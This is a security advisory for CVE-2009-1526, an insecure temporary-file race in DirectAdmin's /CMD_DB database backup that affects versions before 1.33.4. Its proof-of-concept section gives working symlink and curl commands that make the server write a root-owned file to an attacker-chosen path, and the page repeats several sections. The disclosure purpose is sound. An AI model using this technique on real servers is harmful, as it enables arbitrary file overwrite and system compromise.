DirectAdmin '/CMD_DB' Backup Action Insecure Temporary File Creation Vulnerability
BID:34676
Info
DirectAdmin '/CMD_DB' Backup Action Insecure Temporary File Creation Vulnerability
| Bugtraq ID: | 34676 |
| Class: | Race Condition Error |
| CVE: |
CVE-2009-1526 |
| Remote: | No |
| Local: | Yes |
| Published: | Apr 22 2009 12:00AM |
| Updated: | May 19 2009 06:06PM |
| Credit: | An anonymous reporter discovered this issue. |
| Vulnerable: |
JBMC Software DirectAdmin 1.33.3 JBMC Software DirectAdmin 1.30.2 JBMC Software DirectAdmin 1.30.1 JBMC Software DirectAdmin 1.292 |
| Not Vulnerable: |
JBMC Software DirectAdmin 1.33.4 |
Discussion
DirectAdmin '/CMD_DB' Backup Action Insecure Temporary File Creation Vulnerability
DirectAdmin creates temporary files in an insecure manner.
An attacker with local access could potentially exploit this issue to perform symbolic link attacks to overwrite arbitrary attacker-specified files. This could facilitate a complete compromise of the affected computer.
Versions prior to DirectAdmin 1.33.4 are vulnerable.
DirectAdmin creates temporary files in an insecure manner.
An attacker with local access could potentially exploit this issue to perform symbolic link attacks to overwrite arbitrary attacker-specified files. This could facilitate a complete compromise of the affected computer.
Versions prior to DirectAdmin 1.33.4 are vulnerable.
Exploit / POC
DirectAdmin '/CMD_DB' Backup Action Insecure Temporary File Creation Vulnerability
An attacker uses readily available commands to exploit the issue.
The following example is available:
On server: $ ln -s /etc/poc /home/tmp/database_name.gz
On client: $ curl http://www.example.com:2222/CMD_DB/database_name.gz
On server:
$ ls -la /etc/poc
-rw-r--r-- 1 root root 514 Apr 22 09:05 /etc/poc
$ zcat /etc/poc | head -1
-- MySQL dump 10.9
An attacker uses readily available commands to exploit the issue.
The following example is available:
On server: $ ln -s /etc/poc /home/tmp/database_name.gz
On client: $ curl http://www.example.com:2222/CMD_DB/database_name.gz
On server:
$ ls -la /etc/poc
-rw-r--r-- 1 root root 514 Apr 22 09:05 /etc/poc
$ zcat /etc/poc | head -1
-- MySQL dump 10.9
Solution / Fix
DirectAdmin '/CMD_DB' Backup Action Insecure Temporary File Creation Vulnerability
Solution:
The vendor has released an update. Please see the references for more information.
Solution:
The vendor has released an update. Please see the references for more information.
References
DirectAdmin '/CMD_DB' Backup Action Insecure Temporary File Creation Vulnerability
References:
References:
- DirectAdmin Homepage (DirectAdmin)
- Resolved issue with database backup/restore (DirectAdmin)